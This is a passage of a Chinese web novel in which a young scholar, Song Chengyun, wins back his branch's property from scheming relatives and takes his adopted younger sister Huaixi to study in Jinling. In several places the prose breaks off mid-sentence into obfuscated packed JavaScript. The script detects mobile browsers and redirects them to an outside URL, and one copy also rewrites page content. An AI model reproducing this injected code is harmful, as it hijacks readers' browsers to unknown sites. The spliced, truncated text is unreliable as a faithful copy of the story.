而宋景明带着一行人从前院过来,走的便是南边步廊。看到自己几个儿女同怀夕站着在说话,又看面向他们的宋清婉满脸笑意,他心下甚慰,原本是故意想让宋承云看看姐妹几个的相处,免得他不放心。 没想到,弄巧成拙...... 宋清婉姐妹和宋承林看到来人,立即走上前行了礼。但马上,姐妹俩的侥幸就被一冷峻的声音打碎。 “养不养得熟便不劳费心了。” 宋景明有些尴尬,看了身侧的宋承亭一眼。 宋承亭只好上前一步,打着圆场,“清初年纪还小,姐妹打闹也是正常。我让母亲好好罚她...” 宋景明立马点头,接过话,“是该好好教训一下了,承云放心,有你二叔在,怀夕在二房不会受一丝委屈......” 宋景明作为长辈,自认姿态已经摆的很低了,可一旁的宋承云依旧不说话。他继续示意宋承亭打圆场,但这次,宋承亭摇了摇头。 宋承亭顺着宋承云的目光,看向亭子里处埋着头的小姑娘。 他是二房嫡长,读书略有天资,自小便被寄予厚望,被双亲拿来同宋承云对比。 结果毫不意外,什么都不如人家。 可宋承亭并不妒忌宋承云。去年秋闱,书院四人,只有宋承云脱颖而出,他与其他两个同门,毫无意外落榜了。 离宋承云越近,他越明白,天资一事,失之毫厘差之千里。 宋承亭对宋承云的感情其实有些复杂。他们是兄弟,是同门,是他从小幻想的对手,也是他梦寐以求成为的人。 从前,他对祖母和父亲在大伯父去世后的种种做法并不认同,可他那时还小,无法阻止。 可如今,长辈们怕宋承云离开宋家,一飞冲天,又想把他的妹妹攥在手里作未来的筹码,他可以阻止,却也是放任...... 因为他知道,无论是从前还是现在,他都是最大的受利者。 可他忘了,从前二房能得逞,是因为宋承云还只是个小孩,宗族才能辖制他们一家。 如今...... 父亲怎么还看不明白呢? 12. 第 12 章 自宋景明他们过来后,怀夕就一直盯着头看着裙摆的花纹。从宋清婉他们的话里,她已经确认哥哥想把她送到二房。 悬在心上的石头落地,可心间却更烦闷起来。 不想在这里听他们说自己未来的去处,怀夕慢慢腾挪脚步,越来越西边的廊道......刚想牵住小艾一起,就听到哥哥清泠泠的声音落到耳边。 “夕儿,过来。” 原本是想赌气不过去的,可一抬头看到哥哥漆黑的瞳仁,怀夕还是朝他走了过去。 慢吞吞的...... 离他还有两三步的时候,怀夕看着眼前人抬起的手,瞳仁放大,有一瞬间的不可置信。 心底的委屈却一下如卸了闸的洪水,尽数涌出。 她毫不犹豫地伸出自己的小手放入对方的掌心,而后抬头,无声控诉他:你看,你竟然要将我扔到这豺狼窝。 宋承云看到妹妹湿漉漉的双眼,眼皮抑制不住,狠狠地跳了一下。 - 宋家祠堂里,几位族老两两相视,皆没有表态。 自从宋承云中举之后,宋家阖族明里暗里得了多少便利,没有人比他们更清楚。单从银钱来说,宋家短短几年赶上齐家,便成为泸州县第一大商号, 可利不止以钱计。 宋家几代以来,钱财金银不缺。虽说自新朝以来,商人地位提高了些,也废止商人后代不得从政这一律法。可十商不如一政,宋家不知积了几世的德,才求得一文曲星转世。 族老们很清楚,只要有宋承云在一天,宋家一族不说是鸡犬升天,起码往后几辈皆可忧了。 仔细想想,宋承云今日提的这些要求并不过分,于族内而言,更是添益。只是贾氏名义上还是他们这一脉的主事者,有些内务事,明面上还是要她点头。 贾氏头发梳得精亮,一丝不苟坐在堂上,脸上算不得好看,宋景明夫妇更是脸色青红变换。 其实,宋承云刚刚只提了两点要求。 一是父亲去世后,大房的一应家产皆由二房料理,如今大房剩他兄妹二人,要二房立据,将原属于大房的一切都归回原主,至于宋家收成中占大头的盐引,原来大房占的那两成尽数充作族里办的善堂资金,大房分毫不取。 二是把白氏的遗嘱当堂念了出来,白氏一应陪嫁,皆归幼女怀夕。并且,此去金陵,他要将怀夕一同带上。 第二点就不是同宗族商量了,而是告知。 场上每个人都有自己的小心思,只有怀夕,听到哥哥当众宣布的话语后,期待地望着宋承云,一扫原来的垂头丧气,丝毫不掩饰她的欢喜。 宋承云余光看到妹妹依恋的神态,有些不明所以,不明白这小女孩的脸怎么变得那么快。总之不要愁眉苦脸的就好。 他朝怀夕轻轻一笑,换来小姑娘更粲然的笑脸。 ...... 贾氏环视周围各个沉默的族老,眼里划过一丝恨意。看似他们将主动权交到她手上,实则还不是默认宋承云的做法,逼她表态。 她搀着拐杖站了起来,狭长眼角因眯起折叠出几排细纹,语调不疾不徐:“原先云哥儿年纪还小,你母亲性子又娇柔,外头的生意和宅院里的杂事繁杂,族里才把大房的家产交由你二叔代管,也是怕大房被外人欺负了去。如今云哥儿大了,大房有主心骨了,那大房那一份,自然是要物归原主。” 贾氏继续说道:“只是夕儿年仅十二岁,还是个孩子。你去金陵是去进学赶考的,身边带着她,终究不便。依我看,还是将夕儿留在泸州,由我亲自教导,你大可放心。” 纪氏忙附和着:“可不是,叫夕儿留在这里,还有姐妹相伴。我同你祖母自会好好待她,云儿放心就是。” 听到纪氏的话,宋承云抬头,不经意与宋景明和宋承亭对视了一眼。 纪氏还不知道刚刚他们进来前发生的事,还将宋清婉和宋清初推了出来,要她们当众跟怀夕道歉。 宋清婉姐妹被纪氏推出来的时候还有些懵,支支吾吾地一句话都说不全。 宋景明和宋承亭脸上更是经不住有些发烫,宋景明挥挥手,示意纪氏不要再讲,自己硬着头皮找梯子下,“这个年纪的女孩们总是爱玩笑打闹的,可姐妹总归是姐妹。我同你祖母商量过了,若怀夕愿意,我同你二婶便将她认作女儿,写到族谱里,也算给她一个名正言顺的身份……” 怀夕原本一直乖乖站在宋承云身后,见祖母和婶娘他们连番上阵,怕哥哥真会改变主意答应下来,忍不住轻轻扯了扯宋承云袖子下的手,委屈巴巴的。 宋承云无奈,回头看她,用眼神安抚她,怀夕便乖乖将手又收了回去。 读书人的素养让宋承云耐着性子听完长辈的话,待他们说完,堂上所有眼睛都看向他,宋承云这才开口,“祖母和婶娘是长辈,既然是长辈,承云就不多说了。但几位弟弟妹妹对怀夕是什么态度...” “怀夕入不入族谱,都是我的妹妹。”宋承云声音清冽,语调平缓,却莫名有股叫人噤若寒蝉的压迫,“既然是我的妹妹,自然该由我来照顾。且我带走怀夕,并不是征求诸位的同意。” 宋承云罕见的强势让堂上的人都愣了愣,贾氏握紧手里的拐杖,紧紧地盯住宋承云,却在对上眼的同时收回目光。 那双黑眸冷冷清清,像揉碎的云雾深不见底,哪里像是十五岁的少年该有的眼神? 话说到这里,几个族老开始出来纷纷应和道:“应该的,应该的。承云有此善心,属实难得。” 而贾氏这边听到族亲落下定音,内心虽不忿,终究没有再开口。 纪氏却还有些不甘心,站在宋景明身后,掐着他的衣袖,想让他再说些什么。 可宋景明哪里敢?只是恨恨瞪了纪氏一眼,暗示她不要在此时丢人现眼。 说到底,还是二房占了便宜。宋承云并没有狮子大开口,怕就怕他不仅要家主的位,还要来争那盐引的主事权。如今只不过拿回原来属于他们的那一部分罢了。 至于怀夕,原先按母亲的筹谋,说将怀夕握在手里,二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14878902|159707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 房不仅得了好名声,又能借着她牢牢牵绊住宋承云,保二房荣华富贵。 如今想来,还是母亲眼光毒辣。母亲刚提起时,他还不以为意,觉得怀夕只不过是一孤女,虽姓宋,又没入族谱,终究不是宋承云的亲妹妹。宋承云怎么可能会带着这样一个累赘入京呢? 倒没曾想,宋承云还真是十分在意这个妹妹。 没能留住她,终究还是可惜了。 好在,宋承云并没有想撕破脸。 宋景明深知如今不能得罪宋承云,不说眼前的利益,若是以后宋承云真的能平步青云,那承亭还要仰仗他...... 想到这里,宋景明连连点头,立马吩咐管家去收拾账册,保证在宋承云上京前将一应事处理妥当。 族亲准备文书的时候,堂上罕见的,无人打破沉默。 贾氏和宋景明夫妇是因筹谋未能得逞,宋承亭是心存愧意,宋清婉姐妹是又妒又忌,而自小与怀夕掐架的宋承林,表情反而难以言喻。 文书正式签订时,怀夕等人就被遣出去了,只余宋承云、二房长辈和族亲在里。 而此刻的怀夕,觉得幸福真是来的太突然了,她快活地似脚下踩着云朵,飘飘然,迫不及待想出去同小艾分享自己的喜悦。 小艾一直呆在院外,心里一直牵挂担心姑娘真要被留在主宅,帕子都叫自己揉烂了。 怀夕的喜怒向来都写在脸上,待她咧着嘴从宋家祠堂走出来时,原本忧心忡忡的小艾这才将悬着心的心放回肚子里。 她就知道,公子这么疼姑娘,怎么会将她孤身留在这里。 主仆二人牵着手往外走,眼角眉梢尽是笑意,路上的鸟儿都忍不住被她们的欢乐感染,叽叽喳喳唱和着,只是欢快的笑声很快被一道粗壮的身影覆盖。 那身影熟悉如斯,怀夕不用抬头都知道是谁。 今日已经闹过一次了,还要来一次? 怀夕绕过那道身影就要往外走,可她往哪走,对方就往哪走,就是不肯让她过去。 “宋承林,你有完没完?让开!”怀夕语气里尽是不耐烦。 宋承林还是不让开。 是可忍孰不可忍。 怀夕上前,推了他一把。 ...... 纹丝不动。 看着眼前女孩气得跳脚,宋承林面上也不见欢喜,脸色更是沉了沉,“宋怀夕,你真的要走吗?” “哥哥走,我自然也要走。”怀夕瞪了他一眼,“放心吧,以后我们再不相见!” 怀夕提防地看着宋承林,见他用力地攥了攥手,立刻牵着小艾往后退了两步。 她如今这幅身板,她可打不过他。 可宋承林看到怀夕往后退的动作后,一副不可置信很受伤的样子,红着眼眶问她,“你就这样讨厌我?” 丢下这话后,宋承林也不等怀夕说话,转身就走了。 ...... 怀夕和小艾目目相觑。 ——难道他是第一天知道自己讨厌他么? 13. 第 13 章 宋家小宅子。 “小艾,你去门口看看,哥哥可回来了?” “姑娘,奴婢刚刚才去看过……” “……” “许妈妈呢?你把许妈妈请过来,娘亲去年为我做的衣裳放哪了,怎地找不到?” “许妈妈下午告假了,姑娘又忘了么……” 从主宅回来后,怀夕似有使不完的牛劲,小艾跟在她后面忙来跑去,累得喘气。正想拉个小杌子歇会,屁股还没沾到,又被怀夕拉走。 “哎呀小艾,你别坐下,快起来。一会收完我的衣服,还要收你的。” “奴婢知道姑娘高兴,可还有好几日才启程,姑娘现在就把东西收起来,晚些要用还得再翻找呢。”小艾语气难掩失落,“况且,奴婢也不知道能不能陪姑娘一起去......” 小艾是宋家的家生子,自小就在白氏房里侍候,与怀夕年纪相当,两人一同长大,情分深厚。 二公子此去金陵要带上姑娘,小艾自然为怀夕高兴,可公子会带上姑娘,却不一定会将她一起带去。 想到要当姑娘分离,小艾心里难受得如刀割。 “你这是什么话,哥哥既要将我带上,自然也要将你带上……” “公子是去进学的,况且京城不比泸州,听说到处都是贵人,若是给公子惹麻烦……” 小艾说的也有道理......怀夕听完,刚刚的欢快劲一下子又被可能的分别冲淡。 她不想与哥哥分开...... 也不想同小艾分开...... 主仆二人手牵手坐在罗汉床上,一起陷入新的惆怅里。最后,还是怀夕同小艾打包票,说她会去求哥哥带上她,才勉强将小艾哄好。 小艾去外头找许妈妈,回来后同怀夕说,许妈妈在门外跟着一精壮男子说话,那男子手里提着好些东西。许妈妈还把那男子请了进来,喝了壶茶才走。小艾捂着嘴笑,说碧儿姐姐给她们上了茶之后,就红着脸跑回屋里去了。 - 晚膳时分,宋承云终于回来,兄妹二人一同在花房用膳。 宋承云向来秉承食不言寝不语,怀夕也同前几日一般不曾开口,可屋里气氛却显然松快的多。 小艾上完菜退下后,偷偷瞧了怀夕一眼,怀夕向她挤了挤眼,示意她放心。 怀夕平日饭量不小,瓷白小脸吃得圆嘟嘟的,白中带粉,极是娇俏可爱。今晚因为心里有事,只吃了小半碗便落了筷。 宋承云见她吃得少,拿起勺子,又替她添了一碗汤。 怀夕一口一口乖乖喝着汤,眼神却总是偷偷瞥向宋承云。 十二岁的小姑娘,偏偏装作大人般,可明明小心思都写在脸上,宋承云没有再假装看不见她不时瞥过来的眼神,“夕儿,用膳时莫要东张西望。” 怀夕见宋承云放下碗筷,也跟着放下。 “你昨日为何...” “哥哥,我有话同你...” 两人一齐开口。 怀夕瞪着圆溜溜的大眼,失笑道:“哥哥先说。” 宋承云也没推辞,“昨日真是肚子痛?” 想到自己昨日白白生了一天的气,怀夕有些尴尬,两颊泛起了红晕,“哥哥既然要带我走,为何不早些说?夕儿还以为……” 宋承云了然,原来是以为他要抛下她独自去金陵城? 怎么会呢?他已经将她当作自己的妹妹了,怎么会看着她被人欺负?何况,他答应母亲,会好好照看妹妹的。 只是没想到小姑娘气性倒大,竟能憋着两天同他暗暗置气。 看着她头越埋越低,宋承云难得起了逗她的心思,“所以你昨夜故意不用膳同我置气?” 闻言,怀夕更是心虚,俏白小脸皱紧,颇有些不好意思说道:“倒也不完全是,昨日晌午吃多了两块酥,夜里肚子有些胀……” 毕竟是自己错了,怀夕攥了攥自己的裙摆,郑重地抬起头,直视宋承云双眸:“哥哥,夕儿蠢笨,许多事哥哥若是不讲,夕儿常常不明白。这次是夕儿的错,夕儿不该听信别人的话误会哥哥。夕儿发誓,以后事事以哥哥为重,再不怀疑哥哥待夕儿的心了。” 怀夕见宋承云听得认真,反而有些局促起来,却坚持把心中所想说出:“哥哥也要答应夕儿,以后事事都同夕儿讲明,莫要瞒着夕儿,可好?” 宋承云有些讶异怀夕会说出这样的话,她说话时眸子极亮,一眨不眨地看着他,懵懂又天真,仿佛他是她最珍贵的宝物,要小心翼翼地斟酌对待。 宋承云觉得自己可能还没有真正了解这个妹妹。一直以来,他觉得她满心清透,不染尘色,无忧无虑,让周围的人快乐对她而言似乎是件很简单的事。 可此刻他捕捉到她语气间潜藏的小心翼翼。 原来,她也会害怕,害怕自己是累赘,是被抛弃的存在。 若是母亲还在,她定不会说这些话。 ——因为她完全信任母亲。 是他没有做好。 宋承云在心里叹了口气,同样郑重地回道:“是哥哥思虑不周。”他眼神凝住她,“夕儿说万事以哥哥为重,哥哥却希望夕儿能以自己为重。这世上,自轻者则被轻贱,往后无论在何境地,都不要妄自菲薄,也莫要目无下尘。夕儿如今这般,就很好。” 怀夕怔了一下,似懂非懂地点了点头。 宋承云见状,轻笑着抚了抚她的头。 怀夕顺势往上蹭了蹭哥哥的手,笑容如初春花瓣轻轻绽放,明媚无瑕。 兄妹俩之间流淌着一种默契,他们都知道,似乎在这一刻后他们终于认定对方是自己唯一的亲人。 与哥哥说开之后,怀夕对自己的心思更不藏着掖着,直接歪着脑袋看向起身的宋承云,“哥哥,那许妈妈她们可跟着我们一同去金陵?还有小艾...” “此去金陵,除了你我,便只带上松毫和小艾。”宋承云淡淡说道。 “那许妈妈和碧儿姐姐呢?他们不走吗?还有厨房的大牛叔呢?” “许妈妈的儿子已成家,再过两月孙子就要出生。许妈妈陪在我们身边的日子已经很久了,也该回去颐养天年,享儿孙绕膝之福了。”宋承云耐心解释:“至于碧儿,从前母亲就替她定了门亲事,是许妈妈的侄子......还有大牛叔,待我们走了之后,他会在林春路开家小食肆......” 家里侍候的人不多,宋承云已经尽可能地好好安顿她们。 许妈妈的事怀夕从前倒是听母亲说过不少,不过碧儿的婚事,她也是刚刚得知。既然哥哥都安排好了,她对小艾也有交待了,终于放下心。 不知道又想到什么,怀夕继续问:“那碧儿姐姐将来成亲后还能陪我和小艾玩吗?” 这样孩子气的问题,宋承云实在不知道该怎么回答。只是妹妹那样期待的眼神,仿佛他无所不知一般,宋承云有些失笑:“那你要去问问碧儿了。” ...... - 泸州县离金陵城路程遥远,陆路加水路要七八日路程。宋承云因带着家眷,脚程又慢了许多。 前几日坐马车时,怀夕还兴奋得不行,时不时掀开帘子往外面探,见到什么都新奇得不得了。 因她是第一次出远门,宋承云也纵着她。而他自己似乎在哪都一样,一如既往安静地看书。 偶尔马车颠簸些,他便把书放到一旁,闭着眼睛冥想养神。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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宋承云手背在她额头上触了一触,而后扫过她的脸,见怀夕小脸不似前几日那般煞白,那双黑白分明的杏儿眼多了点神采,才将目光收回。 不是不知道妹妹的心思,可外头还下着雨,船晃的厉害。若是这会让她遂了心意,一会又要闹不舒服了。 宋承云拿着一旁的披风给她披上,声音温和:“累了就起来坐一会吧。” “哥哥!”见宋承云不让她出去,怀夕有些着急,双手抱住宋承云手臂,试图撒娇:“我已经两日没看到小艾了。” 怀夕这几日一直躺着,一头长发只用一浅黄色发带松松挽住,经她一番动作,发带一下子掉落,长发在宋承云手臂上散开。 宋承云将她把散落在颊边的碎发拨到耳后,叹了口气。 短短几日,他已经觉得,养个小姑娘实在不易。难受时小声哭咽,开心了又闹腾,哄也不行,斥也不行…… 可眼下只能将她想往外的心思拨转回来,他替她掖了掖被子,“还有两日船便靠岸了。” 怀夕有些惊喜,仰着头看他,双眸晶亮。 “你不是对打陀螺和木偶戏很感兴趣么?到了金陵城,哥哥带你去看,可好?” 怀夕立马坐直了身体,双眸弯成月牙,迫不及待确认:“真的吗?” “那我还想吃龙须糖,还有汤包,可以吗” 小姑娘笑里带着天真的憨气,声音软软糯糯,虽是闹腾了些,可也叫人生不出厌烦。 全数答应下来之后,怀夕这才乖乖躺下,躺下后又从一旁掏出一册书。 宋承云从善如流,伸手接了过来。 14. 第 14 章 飘飘荡荡好几日,船只终于缓缓驶向码头。正值秋老虎来临之际,船厢外阵阵热浪袭来。 站在甲板上远远望去,岸上熙熙攘攘,岸边运货的船忙碌而有序,扛货的小伙们顶着热辣的日头汗流浃背。再往远处看,岸上沿途店肆林立,颜色鲜艳的楼阁飞檐,一番繁华景象。 此行按照宋承云的吩咐,行李能简则简,可经怀夕一顿收拾,东西免不得还是有几大箱子。 船上的伙计落好板子,船客们一扫多日的疲惫,一个个神清气爽的,无不匆忙想早些到岸。岸边蹲着好些找活的伙计,船临近靠岸时,那些伙计便涌了上来。 人潮拥挤,怀夕拉着小艾始终紧跟在宋承云身后,次序走过甲板,下了码头,便看到打前阵的松毫被一群脚夫围在中央,挤都挤不出来。 宋承云一袭白衫,神明俊朗,皇城下讨生活的,眼色也比常人好几分,几个脚夫立马就凑上来想找点生意做,被宋承云摆手拒绝。 只是那几个脚夫离开后,又有一群人凑了上来。 宋承云被挡住,只能下意识地把径直往前走的怀夕也拉住,以免走丢。 领头的人着一身灰蓝直?,年纪约莫四十,气质沉稳,走到宋承云跟前,深作了个揖,恭敬问道:“敢问这位公子,可是泸州来的宋举人?” 旁边忙碌的人群听到举人二字,朝宋承云望了过去,之后眼里闪过了然之色。 难怪风采这般不俗。 “确是在下。”宋承云还了个礼,“不知阁下是?” 那管事得到宋承云的确认后,明显松了口气,“属下是清河书院的王管事,是奉王老太师之令前来迎接公子一行的。” 宋承云有些惊讶,他手里是拿着梁夫子给的引荐信,原本想着先落了脚再去拜见王老太师,没想到王老太师竟还派人在这里迎他。 那管事继续说道:“王老太师前几日收到梁学士的信,得知宋举人这几日便会到金陵城,便让属下每日派人在这码头等着......” 宋承云听完,顿时有些歉意,因顾忌着怀夕的身体,此趟行程比预想的多走了几日,累得他们也多等了几日。 “给老太师和王管事添麻烦了,待承云落脚之后,再携舍妹登门致歉。” 听完宋承云的介绍后,王管事这才将目光落到他身侧的小姑娘。 年纪瞧着也就十一二岁,着浅黄色衫裙,眉眼间透露出一股俏皮,对他看过去的目光毫不露怯,两个小梨涡点缀颊边,不失天真可爱。 王管事在贵人云集的京都做事,不说别的,眼力劲绝对非常人能比。刚刚不是没有注意到宋举人同她说话时,不时用余光落在这活泼的小姑娘身上,原来是宋举人的妹妹。 王管事拱手:“客气客气,不过老太师确实等了宋举人多日,如今得见宋举人,卑职也好差人回去复命了。” 差人? 王管事没错过宋承云眼里露出的一丝疑问,解释道:“宋举人入京后的一应住宿,卑职按老太师的要求安排好了,宋举人,请。” 宋承云不是不识抬举的人,不会在这里拂了老太师的盛意,听完只是点了点头道了谢,便让松毫把东西搬上马车。 王管事看着言语行动进退得宜的宋举人,眼里闪过欣赏之色。 王管事侍候老太师多年,又在京城人才济济的清河书院当个管事,见识非同一般。对自家主子这般看重这位泸州县来的宋举人,王管事原本有些讶异。后来有幸拜读他的文章后,王管事叹服地五体投地。 如今当面一见,王管事更是惊艳。 没想到宋举人不仅有才,更是有貌。 ——身如青松,眉如墨画,丰神俊朗,举止有度,容貌不出当下京城最受女郎们称颂的裴小世子之右。 只是宋举人说话虽温和,可一双黑眸冷冷清清,像揉碎的云雾深不见底,看着倒不如小世子那般好相处。 将他们请上早已备好的马车后,王管事立马遣人去太师府复命,自己又骑马追上前头的马车。 - 严格来说,清河书院并不是官塾。 只是清河书院成立四十余年,从建院之始,便有两位帝师,一位太傅,一位异性王爷当过院长,出过多位诗坛巨匠。便是如今朝堂上,清和书院出身的官员也几近占了半数,譬如如今深得帝宠的首辅沈震,也出身清河书院。 因皇帝崇尚文学,清河书院这十几年更是备受推崇,许多皇室子弟不去国子监,反而来这清和书院进学。 只不过,清河书院也不是想入便能入,至少才学这方面是要过关的。因此,读书人皆以能入清河书院为荣。 - 马车跑得既快又稳,穿过几条繁华街道,拐了几拐,停在一幽静深僻的巷子外。 停稳后,宋承云先下了车,又把怀夕托抱着下来。 王管事骑马先到,已然等在一侧。待怀夕站稳后,王管事上前,领着他们往前走。 走了一小段路,在一座二进的小宅院门口停下,他作了个揖:“宋举人莫嫌我们多事,实在是梁学士爱徒心切,宋举人一出发,梁学士的信也一同从泸州寄来。知道您此次携亲人入京,老太师便早早地让我们在书院附近寻了这处宅子。” “你看这院子,虽不大,也算精巧,离书院近。且此处离道柳街仅一街之隔,是个极安全的地段,宋举人只管放心。” 王管事说话做事,叫人如沐春风,叫宋承云也暗暗惊奇京城真是卧虎藏龙。 将梁夫子也搬了出来,宋承云知道老太师这般心意实在推辞不掉了,便答应下来。 待手下人把宋承云他们一应行李搬好后,王管事便向他们请辞了。 宋承云作揖回礼,又道:“敢问王管事,不知今日是否方便拜见太师?” 王管事心里又对宋承云高看了几分。其实,他临行前,太师特意吩咐,将宋举人送回宅子后,若宋举人有此发问,便带他前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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小宅院门外有微微的光亮,待走近了些,可见松毫坐在台阶上打着瞌睡。 松毫警觉,还不待宋承云走近,便认出他,挑起地上的灯笼几步就小跑着过来,“公子回来了。” 宋承云淡淡应了一声,踏进门口,迈进垂花门,见屋里灯光几不可见,问道:“姑娘呢?” 因对此地还不熟,宋承云又令松毫在他回来前寸步不能离开,因此烛火这些物件没来得及去集市上买,只在自己带来的箱子里找出些灯烛点上。 松毫提着灯笼照在脚下,应道:“姑娘在屋里等着您呢,还吩咐我们在灶上温着粥,公子既回来了,可是先摆饭?” “你先去买些烛火吧。”说完,宋承云脚步未停,迈进主屋里。 松毫明白下来,公子这意思,就是在这住下了。 15. 第 15 章 金陵在泸州的北面,虽已近晚夏,入了夜,夜风便裹挟了几丝凉意。 小艾在厨房里看着粥,听到宋承云的声音后将头探了出来,松毫示意她准备摆饭。小艾应是,麻利地往灶里添了几块柴,火苗很快就旺了起来。 屋里,宋承云借着摇晃的微弱烛光,在屋内扫了一圈。 小烛火爆了声小响,烧的越发亮些,蜷缩在角落阴影里的身影也更清晰了些。 屏息去听,有淡淡的鼾声。宋承云眼里不自觉多了丝笑意。 夜风已带了几丝凉意,想道怀夕在船上病恹恹的样子,宋承云微俯下身,隔着衣裳轻轻拍了拍怀夕。 “夕儿,别在这里睡,会着凉。”他声音很轻,如清泠泠的山泉流动。 怀夕迷迷糊糊睁开了眼,意识还似在梦中,看到宋承云,下意识地嗫喏道,“哥哥。” 宋承云应了声,不催她,安静地等她清醒。 门外传来小艾的声音,“公子,现在摆饭吗?” 见怀夕已经慢慢醒神,宋承云应:“摆吧。” 松毫很快就买完东西回来,屋内燃起火烛,很快就亮腾了起来。 几日水路把怀夕的精气神都磋磨不少,晚膳时依然没什么胃口,但宋承云还是替她添了碗米粥。 怀夕慢慢喝着,间或同宋承云说着话,“哥哥,那我们便在这住下了吗?” 怀夕挺喜欢这里的,院子虽不大,比泸州住的还更小些。可这二进小院胜在精巧,麻雀虽小,五脏俱全。 下午她同松毫和小艾走到巷子外瞧了瞧,这里出去就是大街,繁华的很。他们毕竟是外乡人,人生地不熟,松毫随手拦了一街上吆喝做买卖的婆子,那婆子见她们刚来金陵,十分热情,三言两语把这附近都给他们讲了个清楚。 衣食住行皆方便,最让怀夕满意的是,这里离哥哥进学的书院。 “是。既是两位老师一番好意,不好辜负。”宋承云平日话不多,可对着怀夕,总会多几分耐心,“我已经让松毫明日再去请个婆子回来,以后我们就在这住下了。” 怀夕乖巧地点点头,见宋承云放下筷子,也跟着放下手里的瓷勺。 “那我带哥哥去逛逛宅子?”怀夕笑道,“夕儿已将这里逛了几遍,对这里可熟了。” 宋承云应好,同怀夕一前一后从偏厅走了出来。 这屋子来时已收拾得十分干净,怀夕看了一圈,正屋大,东厢房则采光好。不过东厢房也不算小,足够位置辟一处书房出来,就看哥哥喜欢哪一处了。 最后,因着东厢房离外院更近一些,宋承云还是指了这里作为自己的住处,平日里他进进出出也不会扰了她去。 翌日,松毫请了个婆子回来,姓刘。刘婆子的儿子大壮帮着拿行囊来,他也是在城里做事,颇有几分见识,知道这家主子在清河书院进学,还是个举人时,进来时低着眼不敢多看。 刘婆子老实和善,怀夕同她说了一会话,便决定留下她,知道刘婆子家住城外,刚得了小孙子,想了想,又说以后可让她每几日回家住一晚,也好见见家人。 刘婆子见主家这般和善好说话,做事更是贴心周到起来。 原本宋承云是想把松毫留在宅子里照看怀夕的,可怀夕觉得松毫侍候哥哥惯了,说什么都不肯留下松毫。她平日里又没什么事,有小艾和刘婆子已经足够了。 皇城脚下,治安自然不是问题。宋承云见妹妹坚持,也不再多说,随了她的意思。 学生们在书院里是有休息的地方的,有不少学生也住在书院里。不过,世家子弟或在有亲人在京城当官的,不用说,都是回家住的。像宋承云这般拖家带口的,大部分都是在附近租个院子住。 宋承云一般入夜前便会回来,若偶尔被夫子留下或被什么事耽搁了,偶尔也住在书院里,只是一定会让松毫提前回来告知怀夕一声。 怀夕在家里也没有闲着。自被白氏带到身边,白氏一直亲自教养她。 白氏对怀夕几乎有求必应,唯有读书一事,从来不让怀夕偷懒。自从白氏去世后,宋承云自然而然担起教养怀夕的责任。 宋承云三岁识字,天资卓越,在读书一事上,向来见不得马虎,因此教起怀夕来,更是如同夫子一般严格。 俞楚国对女子算是宽待,女子也可读书写字。可世人觉得女子无需为科考官名而累,读书能识字识礼便已足够。 怀夕性子跳脱活泼,常常兴致来得快,去得也快。但受母亲和哥哥的影响,在读书这件事上,倒是坚持下来。 按宋承云的说法,读书可识天地之大,晓古今之变,处事之礼,他觉得怀夕心性单纯,自然更要读书。 不过他也不拘着怀夕读什么书,无论是怀夕从他书房内拿的书,还是让松毫去外头给她买的话本子,宋承云都不曾说过一句。 只不过,前提是,怀夕要完成他每日给她留的功课。 怀夕倒也乐在其中,白日里不能见到哥哥,晚膳后趁抽查功课的时间能多与哥哥说说话也是好的。 又不是要去科考,宋承云给怀夕留的功课其实不占太长时间。剩余的其他时间,怀夕过得可充实着。 对面宅子的女主人,在怀夕他们搬进来的第二日,便让丫鬟送了一篮新鲜果子过来。 双方女使一打听,原本都是在清河书院学生的家眷。一来二去,怀夕便同那家的女主人熟络了起来。 那家的女主人闺名唤丁心兰,年方十六,陪着新婚的丈夫来金陵城进学。 丁心兰虽只比怀夕大上四岁,可毕竟嫁了人,初次相见,怀夕便唤她夫人。可丁心兰也是孩子心性,觉得丈夫同怀夕哥哥是同窗,便让怀夕唤她姐姐。 丁氏小名圆圆,怀夕便唤她圆圆姐姐。 虽唤圆圆,丁氏却生得一副弱柳扶风之姿,因生来胎里不足,得家中人精心照料着才养大,看着娇娇柔柔的,可性子却被养的古灵精怪。 她同丈夫林思携是当地世交,从娃娃时便定了亲,丁心兰及笈后两家便把婚事办了。 原本家中人是不允 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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隔壁丁心兰前几日就让人送了许多年节用的物品给她,怀夕在家中看了一圈,装饰用的物品倒是不缺了,但吃食上的,还得再准备一些。 宋承云走后,怀夕进了里屋好一会,不知在捣鼓什么。 出来后,拿着一张纸条递给刘婆子,让她今日出去买米菜时将纸上所列物品一应买齐。 怕东西太多不好拿,怀夕又让小艾跟着刘婆子一块去。 午后,丁心兰使了她的婢女画眉来请怀夕过去吃茶,正好刘婆子把面和馅料和好,拿进偏厅来。 